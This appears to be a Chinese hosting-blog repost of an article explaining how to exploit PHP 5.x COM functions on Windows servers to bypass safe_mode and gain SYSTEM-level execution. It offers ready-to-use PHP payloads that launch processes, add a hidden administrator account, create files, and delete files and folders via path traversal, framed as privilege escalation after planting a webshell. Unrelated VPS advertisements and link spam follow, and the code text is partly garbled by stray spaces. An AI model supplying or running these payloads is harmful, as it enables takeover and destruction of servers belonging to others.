漏洞PHP-5.x-COM-functions提权漏洞的利用分析

24k99 com  时间:2021-02-20  阅读:()

PHP 5.x COM functions提权漏洞的利用分析

PHP是英文“超级文本预处理语言” Hypertext Preprocessor的缩写是一种HTML内嵌式的语言。它可以比CGI或者Perl更快速地执行动态网页。PHP具有非常强大的功能所有的CGI或者JavaScript的功能 PHP都能实现支持几乎所有流行的数据库以及操作系统。 近期功能如此强大、运用如此广泛的PHP却出现了重大漏洞也就是PHP 5.xCOM functions safe_mode and disable_function bypass漏洞。它可以实现提权这是很多朋友们所梦寐以求的。下面我们先来总体介绍一下漏洞 由于本人水平有限请大家原谅不准确的地方。 漏洞所用到的COM函数只在Windows环境下的PHP才存在 .net的支持需要PHP5以及.net Runtime。漏洞所利用的函数无需特殊安装是PHP内核的一部分。Windows环境下的PHP默认支持这些扩展不用额外加载其他扩展来调用漏洞函数。

现在部分大中型网站都喜欢用PHP+Apache+Windows来架设这样的话 PHP漏洞的打击面就会很大了特别是在现在提权越来越难的形势下我想很多服务器会因为这个漏洞而沦陷的。 根据漏洞发现者公布的内容漏洞的利用要求php. ini中有如下设置。我的测试环境为PHP5.2.3+Apache2.2.3+Windows XP SP2在我的测试当中发现并不一定要严格按照这样配置大家可以自己测试一下看看。safe_mode=On

disable_functions=com_load_typel ibopen_basedir=htdocs

下面我们就逐一看看这个漏洞的内容与利用。compatUI .dl l中的RunAppl ication函数

这个漏洞的测试代码如下。

<?php

$compatUI=newCOM('{A-7F23-47E2-B7C3-97EE8DD42CD8}');

//加载compatUI .dl l $compatUI->RunAppl ication("something", "notepad.exe", 1);//运行记事本

?>

将其保存为PHP文件放到服务器上然后用IE访问就可以了。运行后IE是没有什么回显的如图1所示但实际上记事本已经运行了而且是SYSTEM权限 因为它是由系统服务来运行的所以继承了SYSTEM权限如图2所示。

利用这个漏洞我们可以运行已经上传好的木马实现WebShel l的提权。当然如果你足够无聊的话还可以写成循环让服务器运行很多记事本实现D.O.S。

Wscript运行命令

这个漏洞的测试代码如下。

<?php

$wscript=new COM('wscript.shel l '); //要用到wscript.exe

$wscript->Run("cmd.exe/c calc.exe");//运行calc.exe

?>

访问该脚本后服务器上出现了SYSTEM权限的calc.exe进程如图3所示。我们只要发挥一下想象力修改一下脚本就能加个管理员账户了具体代码如下。

<?php

$wscript=new COM('wscript.shel l ');$wscript->Run("cmd.exe/c net user admin$/add");$wscript->Run("cmd.exe/c net localgroup administrators admin$/add");

?>

访问该脚本之后即可添加管理员成功这对SYSTE M权限来说简直就是噩梦如图4所示

wshom.ocx中的OpenTextFi le

OpenTextFi le可以用于创建一个文件其中存在的漏洞的测试代码如下。

<?php

$mPath=str_repeat(". .\\",20);

$FSO=new COM('Scripting.Fi leSystemObject');//用到了wshom.ocx

$FSO->OpenTextFi le($mPath."bat.bat",8, true); //在服务器上创建文件虽然这个函数是用来打开文件的但是文件不存在就被创建了

?>

果然在C区根目录出现了这个批处理文件bat.b at如图5所示

wshom.ocx中的DeleteFi le

这个函数可以删除服务器上的文件大家要小心使用测试代码如下。<?php

$mPath=str_repeat(". .\\",20);

$FSOdelFi le=new COM('Scripting.Fi leSystemObject');

//利用了ws h o m.o cx

$FSOdelFi le->DeleteFi le($mPath.".\\*.dat",True);

//删除C区根目录的所有d at文件?>wshom.ocx中的DeleteFolder

利用这个函数可以删除服务器上的文件夹很恐怖哦。测试代码如下<?php

$mPath=str_repeat(". .\\",20);

$FSOdelFolder=new COM('Scripting.Fi leSystemObject');

//使用ws h o m.o cx

$FSOdelFolder->DeleteFolder($mPath.".\\1 1",True);

//删除特定的文件夹

?>

访问之后成功删除了c:\11这个文件夹。

shgina.dl l中Create函数创建账户

这个漏洞的测试代码如下

<?php

$user=new COM('{60664CAF-AF0D-0004-A300-5C7D25FF22A0}');

//利用shgina.dl l$user->Create("asd");

//创建账户asd

?>

不过这里要注意一下利用这个漏洞创建的账户只是属于users组的如图6所示

关于PHP 5.xCOM functions漏洞的利用就为大家介绍到这里了测试代码已经随文提供大家根据自己的需要进行适当修改即可。不过提醒大家一下 以上几个漏洞的利用前提是我们已经有了WebShel l 之后才可以上传用于提权的脚本切记哦

新版本Apache HTTP Server 2.4.51发布更新(有安全漏洞建议升级)

今天中午的时候看到群里网友在讨论新版本的Apache HTTP Server 2.4.51发布且建议更新升级,如果有服务器在使用较早版本的话可能需要升级安全,这次的版本中涉及到安全漏洞的问题。Apache HTTP 中2.4.50的修复补丁CVE-2021-41773 修复不完整,导致新的漏洞CVE-2021-42013。攻击者可以使用由类似别名的指令配置将URL映射到目录外的文件的遍历攻击。这里...

PacificRack(年付低至19美元),夏季促销PR-M系列和多IP站群VPS主机

这几天有几个网友询问到是否有Windows VPS主机便宜的VPS主机商。原本他们是在Linode、Vultr主机商挂载DD安装Windows系统的,有的商家支持自定义WIN镜像,但是这些操作起来特别效率低下,每次安装一个Windows系统需要一两个小时,所以如果能找到比较合适的自带Windows系统的服务器那最好不过。这不看到PacificRack商家有提供夏季促销活动,其中包括年付便宜套餐的P...

Spinservers:美国圣何塞服务器,双E5/64GB DDR4/2TB SSD/10Gbps端口月流量10TB,$111/月

spinservers怎么样?spinservers大硬盘服务器。Spinservers刚刚在美国圣何塞机房补货120台独立服务器,CPU都是双E5系列,64-512GB DDR4内存,超大SSD或NVMe存储,数量有限,机器都是预部署好的,下单即可上架,无需人工干预,有需要的朋友抓紧下单哦。Spinservers是Majestic Hosting Solutions,LLC旗下站点,主营美国独立...

24k99 com为你推荐
office2016激活密钥如何提取office2016的激活秘钥天府热线劲舞团(四川天府热线)为什么越来越卡了??iphone5解锁iphone5密码忘了怎么解锁ghostxp3GhostXP3电脑公司特别版V499怎么安装显卡温度多少正常显卡温度多少算正常?godaddyGodaddy域名怎么接受开机滚动条开机滚动条要很长时间怎么解决?xp系统停止服务XP停止服务后该怎么办?创维云电视功能谁能具体介绍一下创维云电视的主要功能,以及基本的使用方式,如果能分型号介绍就更好了,O(∩_∩)O谢谢如何清理ie缓存怎么清除IE缓存.
中文域名申请 花生壳域名贝锐 西安电信测速 webhostingpad 国外私服 koss 美国便宜货网站 parseerror 193邮箱 域名转向 免费个人空间 河南m值兑换 移动服务器托管 英雄联盟台服官网 wordpress中文主题 免费个人主页 云服务是什么意思 hostease 闪讯网 wordpress空间 更多